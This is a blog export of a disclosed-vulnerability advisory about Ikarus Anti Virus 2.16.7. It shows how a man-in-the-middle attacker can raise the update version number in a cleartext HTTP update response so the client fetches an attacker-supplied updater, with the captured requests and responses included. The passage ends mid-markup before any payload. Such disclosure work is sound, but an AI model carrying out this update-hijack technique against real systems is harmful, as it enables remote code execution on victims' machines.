{"id":9920,"date":"2017-10-16T14:19:19","date_gmt":"2017-10-16T22:19:19","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/10\/16\/news-3693\/"},"modified":"2017-10-16T14:19:19","modified_gmt":"2017-10-16T22:19:19","slug":"news-3693","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/10\/16\/news-3693\/","title":{"rendered":"SSD Advisory \u2013 Ikraus Anti Virus Remote Code Execution"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Mon, 16 Oct 2017 09:21:04 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3485\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3485');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerability summary<\/strong><br \/> The following advisory describes an remote code execution found in Ikraus Anti Virus version 2.16.7.<\/p>\n<p>KARUS anti.virus &#8220;secures your personal data and PC from all kinds of malware. Additionally, the Anti-SPAM module protects you from SPAM and malware from e-mails. Prevent intrusion and protect yourself against cyber-criminals by choosing IKARUS anti.virus, powered by the award-winning IKARUS scan.engine. It is among the best in the world, detecting new and existing threats every day. &#8221;<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor Response<\/strong><br \/> The vendor has released patches to address these vulnerabilities.<\/p>\n<p>For more information: https:\/\/www.ikarussecurity.com\/about-ikarus\/security-blog\/vulnerability-in-windows-antivirus-products-ik-sa-2017-0001\/<\/p>\n<p><span id=\"more-3485\"><\/span><\/p>\n<p><strong>Vulnerability details<\/strong><br \/> An active network attacker (MiTM) can achieve remote code execution on a machine that runs Ikraus Anti Virus. <\/p>\n<p>Ikarus AV for windows uses cleartext HTTP for updates along with a CRC32 checksum and an update value for verification of the downloaded files.<\/p>\n<p>Also ikarus checks for a update version number which can be incremented to goad the process to update.<\/p>\n<p>The update process executable in ikarus called <em>guardxup.exe<\/em><\/p>\n<p>guardxup.exe, send over port 80, the following request for update:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59e530663aab0393325839\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8220;`  GET \/cgi-bin\/virusutilities.pl?A=7534ED66&amp;B=6.1.1.0.11.1.256.7601&amp;C=1005047.2013019.2001016.98727&amp;F=4.5.2%3bO=0%3bSP=0&amp;E=WD-194390-VU HTTP\/1.1  Accept: *\/*  User-Agent: virusutilities(6.1,0,1005047)  Host: updates.ikarus.at  Connection: close  &#8220;`<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0013 seconds] -->  <\/p>\n<p>The server will respond with:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59e530663aabb407762303\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8220;`  HTTP\/1.1 200 OK  Date: Sun, 23 Oct 2016 04:51:05 GMT  Server: Apache\/2.4.10 (Debian) mod_perl\/2.0.9dev Perl\/v5.20.2  Content-Disposition: inline; filename=virusutilities  Content-Length: 306  Connection: close  Content-Type: text\/plain; charset=ISO-8859-1    &lt;url&gt;  \tfull\thttp:\/\/mirror04.ikarus.at\/updates\/  \tdiff\thttp:\/\/mirror06.ikarus.at\/updates\/  &lt;\/url&gt;  &lt;up&gt;  \tantispam_w64\t001000076  \tantispam\t001000076  \tupdate\t001005047  \tvirusutilities\t002013019  \tt3modul_w64\t002001016  \tt3modul\t002001016  \tsdb\t000007074  \tt3sigs\t000098727  &lt;\/up&gt;  &lt;dependence&gt;  \tt3modul  &lt;\/dependence&gt;  &#8220;`<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabb407762303-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabb407762303-27\">27<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-1\"><span class=\"crayon-sy\">`<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-2\"><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">200<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">OK<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-3\"><span class=\"crayon-v\">Date<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Sun<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">23<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Oct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2016<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">51<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">05<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">GMT<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-4\"><span class=\"crayon-v\">Server<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Apache<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">2.4.10<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Debian<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mod_perl<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">2.0.9dev<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Perl<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">v5<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">20.2<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-5\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Disposition<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">inline<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">filename<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">virusutilities<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-6\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Length<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">306<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-7\"><span class=\"crayon-v\">Connection<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">close<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-8\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Type<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">plain<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">charset<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">ISO<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">8859<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-9\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-10\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-11\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">full\t<\/span><span class=\"crayon-v\">http<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-c\">\/\/mirror04.ikarus.at\/updates\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-12\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-e\">diff\t<\/span><span class=\"crayon-v\">http<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-c\">\/\/mirror06.ikarus.at\/updates\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-13\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">url<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-14\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">up<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-15\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">antispam<\/span><span class=\"crayon-sy\">_<\/span>w64<span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">001000076<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-16\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-i\">antispam<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">001000076<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-17\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-i\">update<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">001005047<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-18\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-i\">virusutilities<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">002013019<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-19\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">t3modul<\/span><span class=\"crayon-sy\">_<\/span>w64<span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">002001016<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-20\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-i\">t3modul<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">002001016<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-21\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-i\">sdb<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">000007074<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-22\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-i\">t3sigs<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">000098727<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-23\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">up<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-24\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">dependence<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-25\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">t3modul<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabb407762303-26\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">dependence<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabb407762303-27\"><span class=\"crayon-sy\">`<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0023 seconds] -->  <\/p>\n<p>Through the proxy we will modify the response and add 1 to the &#8216;update&#8217; value and forward the response to the client.<\/p>\n<p>Then the client will request the update via this url: http:\/\/mirror04.ikarus.at\/updates\/guardxup001005048.full<\/p>\n<p>The ikarus server will respond with a 404:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59e530663aabe146925476\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8220;`  HTTP\/1.1 404 Not Found  Server: nginx\/1.6.2  Date: Sun, 23 Oct 2016 04:53:05 GMT  Content-Type: text\/html  Content-Length: 168  Connection: close    &lt;html&gt;  &lt;head&gt;&lt;title&gt;404 Not Found&lt;\/title&gt;&lt;\/head&gt;  &lt;body bgcolor=&#8221;white&#8221;&gt;  &lt;center&gt;&lt;h1&gt;404 Not Found&lt;\/h1&gt;&lt;\/center&gt;  &lt;hr&gt;&lt;center&gt;nginx\/1.6.2&lt;\/center&gt;  &lt;\/body&gt;  &lt;\/html&gt;  &#8220;`<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabe146925476-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabe146925476-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabe146925476-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabe146925476-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabe146925476-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabe146925476-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabe146925476-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabe146925476-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabe146925476-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabe146925476-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabe146925476-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabe146925476-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabe146925476-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabe146925476-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59e530663aabe146925476-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59e530663aabe146925476-16\">16<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59e530663aabe146925476-1\"><span class=\"crayon-sy\">`<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabe146925476-2\"><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">404<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">Not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Found<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabe146925476-3\"><span class=\"crayon-v\">Server<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">nginx<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.6.2<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabe146925476-4\"><span class=\"crayon-v\">Date<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Sun<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">23<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Oct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2016<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">53<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">05<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">GMT<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabe146925476-5\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Type<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">html<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabe146925476-6\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Length<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">168<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabe146925476-7\"><span class=\"crayon-v\">Connection<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">close<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabe146925476-8\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabe146925476-9\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">html<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabe146925476-10\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">head<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">title<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-cn\">404<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">Not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Found<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">title<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">head<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabe146925476-11\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-e\">body <\/span><span class=\"crayon-v\">bgcolor<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;white&#8221;<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aabe146925476-12\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">center<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">h1<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-cn\">404<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">Not<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Found<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">h1<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">center<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aabe146925476-13\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">hr<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">center<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-v\">nginx<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.6.2<\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">\/<\/span><span 